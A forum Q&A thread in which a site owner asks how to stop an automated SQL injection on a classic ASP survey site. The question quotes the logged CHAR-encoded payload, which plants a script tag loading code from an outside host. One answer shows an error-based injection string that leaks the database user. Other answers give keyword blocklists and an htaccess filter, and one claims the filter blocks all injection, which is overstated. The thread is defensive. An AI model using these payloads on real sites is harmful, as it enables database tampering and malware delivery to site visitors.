10
votes

We have a survey site that was apparently attacked. The symptoms are identical to what was described on the following page on this site: XSS Attack on the ASP.NET Website.

I found multiple entries in our IIS logs that included the malicious code:

< / title> < script src = http : // google-stats49.info/ur.php >.

Here is an example of the value of the cs-uri-query field for one of the IIS log entries.

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))--

I don't understand how the above code works but apparently this is what is being sent in a query string to corrupt columns in our database tables. We have shut down our site for the time being. We can remove the scripts from the database but that doesn't prevent it from being corrupted again when we bring the site back online.

Does anyone have any suggestions on how to prevent this from happening?

6
CHAR(n) is a TSQL function that turns an int into a ASCII character. This is what the above sample contains: </title><script src=http://google-stats50.info/ur.php></script>, so try it out: print char(60)+char(47)+char(116)+char(105)+char(116)+char(108) +char(101)+char(62)+char(60)+char(115)+char(99)+char(114) +char(105)+char(112)+char(116)+char(32)+char(115)+char(114) +char(99)+char(61)+char(104)+char(116)+char(116)+char(112) +char(58)+char(47)+char(47)+char(103)+char(111)+char(111) +char(103)+char(108)+char(101)+char(45)+char(115)+char(116) +char(97)+char(116)+char(115)+char(53)+'...'KM.

6 Answers

7
votes

That's a SQL injection.

  1. Never trust user input. You're taking input and sending it directly to the database
  2. Never trust your user input!
  3. Check all input against a whitelist of allowed values.
  4. For text input make sure everything is escaped

There is tons on this subject: Google is your friend

2
votes

Also...

  1. Use parameterized queries.
  2. Get off old classic ASP, which makes it harder to use parameterized queries. Move to .NET, which has easier validation and can restrict values, disallow html input and so on.
2
votes

Not sure if this is still relevant for you, but I have had this happen in the past as we still run some old asp sites. There are two things you need to clean this up. First is a find and replace stored procedure for your database (easy enough to Google this), if you can get away with it. Unfortunately sometimes the data is cut off depending on the field type, but there is nothing to do here. Otherwise a roll back for your db is necessary.

Second is insert a SQL injection hack prevention script like this as an include before your database connection:

Good luck.

<% 
'  SqlCheckInclude.asp
'
'  This is the include file to use with your asp pages to 
'  validate input for SQL injection.

Dim BlackList, ErrorPage, s

' ' Below is a black list that will block certain SQL commands and ' sequences used in SQL injection will help with input sanitization ' ' However this is may not suffice, because: ' 1) These might not cover all the cases (like encoded characters) ' 2) This may disallow legitimate input ' ' Creating a raw sql query strings by concatenating user input is ' unsafe programming practice. It is advised that you use parameterized ' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information ' on how to do this using ADO from ASP. ' ' Moreover, you need to also implement a white list for your parameters. ' For example, if you are expecting input for a zipcode you should create ' a validation rule that will only allow 5 characters in [0-9]. '

BlackList = Array("--", ";", "/", "/", "@@", "@",_ "char", "nchar", "varchar", "nvarchar",_ "alter", "begin", "cast", "create", "cursor",_ "declare", "delete", "drop", "end", "exec",_ "execute", "fetch", "insert", "kill", "open",_ "select", "sys", "sysobjects", "syscolumns",_ "table", "update")

' Populate the error page you want to redirect to in case the ' check fails.

ErrorPage = "/ErrorPage.asp"

'''''''''''''''''''''''''''''''''''''''''''''''''''
' This function does not check for encoded characters ' since we do not know the form of encoding your application ' uses. Add the appropriate logic to deal with encoded characters ' in here ''''''''''''''''''''''''''''''''''''''''''''''''''' Function CheckStringForSQL(str) On Error Resume Next

Dim lstr

' If the string is empty, return true If ( IsEmpty(str) ) Then CheckStringForSQL = false Exit Function ElseIf ( StrComp(str, "") = 0 ) Then CheckStringForSQL = false Exit Function End If

lstr = LCase(str)

' Check if the string contains any patterns in our ' black list For Each s in BlackList

If ( InStr (lstr, s) <> 0 ) Then
  CheckStringForSQL = true
  Exit Function
End If

Next

CheckStringForSQL = false

End Function

''''''''''''''''''''''''''''''''''''''''''''''''''' ' Check forms data '''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Form If ( CheckStringForSQL(Request.Form(s)) ) Then

' Redirect to an error page
Response.Redirect(ErrorPage)

End If Next

''''''''''''''''''''''''''''''''''''''''''''''''''' ' Check query string '''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.QueryString If ( CheckStringForSQL(Request.QueryString(s)) ) Then

' Redirect to error page
Response.Redirect(ErrorPage)

End If

Next

''''''''''''''''''''''''''''''''''''''''''''''''''' ' Check cookies '''''''''''''''''''''''''''''''''''''''''''''''''''

For Each s in Request.Cookies If ( CheckStringForSQL(Request.Cookies(s)) ) Then

' Redirect to error page
Response.Redirect(ErrorPage)

End If

Next

''''''''''''''''''''''''''''''''''''''''''''''''''' ' Add additional checks for input that your application ' uses. (for example various request headers your app ' might use) '''''''''''''''''''''''''''''''''''''''''''''''''''

%>

1
votes

Configure your IIS to send a custom error page or the default error 500 page instead of sending detailed error messages to the client.

Detailed error messages has been used to find the db schema. Then they used sql injection to update text fields.

Here's an example to get the DB user:

/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0 

that is "and ^+user+^=0" and it returns:

[Microsoft][ODBC_SQL_Server_Driver][SQL_Server]Conversion_failed_when_converting_nvarchar_value_'^myDbUsername^'_to_data_type_int.

where "myDbUsername" is your real database user.

Using a similar tecnique it is possible to get databases, tables, columns, types etc. one by one.

If you have not been already attacked then disable detailed errors in IIS, otherwise check your logs to find which pages have sql injection vulnerabilities and correct them.

I wrote a small script to check if there are "<script" in my database:

DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+ 
' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) +
' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%<script%'''
FROM INFORMATION_SCHEMA.COLUMNS c
WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext') 
and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views)
order by QUOTENAME(TABLE_NAME);
DECLARE @CMD VARCHAR(200), @return varchar(10)
OPEN C1
FETCH NEXT FROM C1 INTO @CMD
WHILE @@FETCH_STATUS <> -1
    BEGIN
        declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200)
        set @sql = 'declare c2 cursor for ' + @CMD
        exec sp_executesql @sql
        open c2
        FETCH NEXT FROM C2 INTO @return, @tbl, @col
        WHILE @@FETCH_STATUS <> -1
            BEGIN
            if(@return > 0)
                BEGIN
                    PRINT @return + ' records found in ' + @tbl + '.' + @col
                    exec('SELECT '+@col+' FROM '+@tbl+' WHERE '+@col+' LIKE ''%<script%''')
                END
            FETCH NEXT FROM C2 INTO @return, @tbl, @col
            END
        CLOSE C2
        DEALLOCATE C2
        FETCH NEXT FROM C1 INTO @CMD
    END
CLOSE C1
DEALLOCATE C1

I'm on IIS 7, Win Server 2008 and SQL Server 2008 so it doesn't seems this attack uses any SQL Server 2003 / 2005 vulnerabilities as stated in many articles on the web.

1
votes

You are being hit by the LizaMoon automated SQL injection exploit pack, and are now mentioned in an artice on the page of the company that is credited with first documenting the attack: http://community.websense.com/blogs/securitylabs/archive/2011/03/31/update-on-lizamoon-mass-injection.aspx

1
votes

The BulletProof Security WordPress plugin has the SQL Injection filters that will block this attack in an htaccess file. Since you have an IIS server you would need to add additional features that would enable you to use an htaccess file or maybe you could incorporate the SQL Injection filters in some other way with IIS since htaccess is traditionally an Apache thing. This is the line in the BulletProof Security master htaccess file that blocks ALL SQL Injection hacking attempts:

RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC] 
RewriteRule ^(.*)$ - [F,L]